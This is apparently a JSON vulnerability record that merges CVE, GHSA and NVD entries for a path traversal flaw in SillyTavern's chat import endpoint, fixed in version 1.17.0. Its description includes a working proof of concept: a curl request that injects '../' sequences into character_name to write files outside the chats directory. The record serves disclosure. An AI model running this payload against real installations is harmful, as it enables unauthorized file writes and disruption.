{"id":"CVE-2026-34522","aliases":["CVE-2026-34522","GHSA-xvww-xhx6-22pf"],"related":[],"kind":"vulnerability","state":"published","title":"SillyTavern: Path traversal in `/api/chats/import` allows arbitrary file write outside intended chat directory","summary":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in /api/chats/import allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into character_name. This issue has been patched in version 1.17.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in /api/chats/import allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into character_name. This issue has been patched in version 1.17.0.","source":"cvelist"},{"lang":"en","text":"### Summary\nA path traversal vulnerability in `/api/chats/import` allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into `character_name`.\n\n### Details\n`character_name` is used unsafely as part of the destination filename and then passed into `path.join(...)` without sanitization.\n\nEvidence:\n- Import handler entrypoint:  \n  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L680-L686>\n- Unsanitized `character_name` used in output filename:  \n  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L719-L723>\n- Same write pattern in JSONL import branch:  \n  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L759-L766>\n- Endpoint auth context (authenticated user access):  \n  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239>\n\nExample payload:\n- `character_name=../../../../tmp/st_poc`\n\nThis causes the final destination path to escape from `<user>/chats/<avatar>/...` and write to an attacker-controlled location such as `/tmp/...` (or any writable path for the service account).\n\n### PoC\nPrerequisites:\n- Valid authenticated session cookie (`cookie.txt`)\n- Valid CSRF token (`$TOKEN`)\n\nPrepare payload:\n\n```bash\nprintf '{\"user_name\":\"u\",\"chat_metadata\":{}}\\n{\"name\":\"u\",\"mes\":\"owned\"}\\n' >/tmp/poc.jsonl\n```\n\nTrigger arbitrary write:\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" \\\n  -F \"avatar=@/tmp/poc.jsonl\" \\\n  -F \"file_type=jsonl\" \\\n  -F \"avatar_url=a.png\" \\\n  -F \"character_name=../../../../tmp/st_poc\" \\\n  -F \"user_name=u\" \\\n  http://TARGET:8000/api/chats/import\n```\n\nObserved result:\n- A file is created outside chats directory, for example:  \n  `/tmp/st_poc - <timestamp> imported.jsonl`\n\n### Impact\n- Integrity: attacker can create files in unintended filesystem locations.\n- Availability: can be used for disk abuse and disruptive file placement.\n- Can become more severe when chained with other local processing behaviors.\n\n### Resolution\n\nThe issue was addressed in version 1.17.0","format":"markdown","source":"ghsa"},{"lang":"es","text":"SillyTavern es una interfaz de usuario instalada localmente que permite a los usuarios interactuar con modelos de lenguaje grandes de generación de texto, motores de generación de imágenes y modelos de voz de texto a voz. Antes de la versión 1.17.0, una vulnerabilidad de salto de ruta en /API/chats/import permite a un atacante autenticado escribir archivos controlados por el atacante fuera del directorio de chats previsto inyectando secuencias de salto de ruta en character_name. Este problema ha sido parcheado en la versión 1.17.0.","source":"nvd"}],"published":"2026-04-01T21:36:40.000Z","modified":"2026-07-24T21:10:00.143Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","score":8.1,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","score":8.1,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","score":8.1,"rating":"HIGH"}],"cwes":["CWE-22","CWE-73"],"affected":[{"ranges":[{"version":"< 1.17.0","status":"affected"}],"vendor":"SillyTavern","product":"SillyTavern","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.17.0"}],"ecosystem":"npm","package":"sillytavern","purl":"pkg:npm/sillytavern","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.17.0"}],"vendor":"sillytavern","product":"sillytavern","cpe":"cpe:2.3:a:sillytavern:sillytavern:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-xvww-xhx6-22pf","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34522","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/SillyTavern/SillyTavern","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-04-02T19:00:38.994Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-34522","url":"https://www.cve.org/CVERecord?id=CVE-2026-34522","licence":"CVE Terms of Use","modified":"2026-04-02T19:00:48.579Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-xvww-xhx6-22pf","url":"https://github.com/advisories/GHSA-xvww-xhx6-22pf","licence":"CC-BY-4.0","modified":"2026-04-06T17:38:24.466Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-34522","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34522","licence":"Public domain","modified":"2026-07-24T21:10:00.143Z"}],"updatedAt":"2026-11-25T22:59:17.823Z","epss":{"score":0.00476,"percentile":0.4275,"date":"2026-12-02T12:00:21.000Z"}}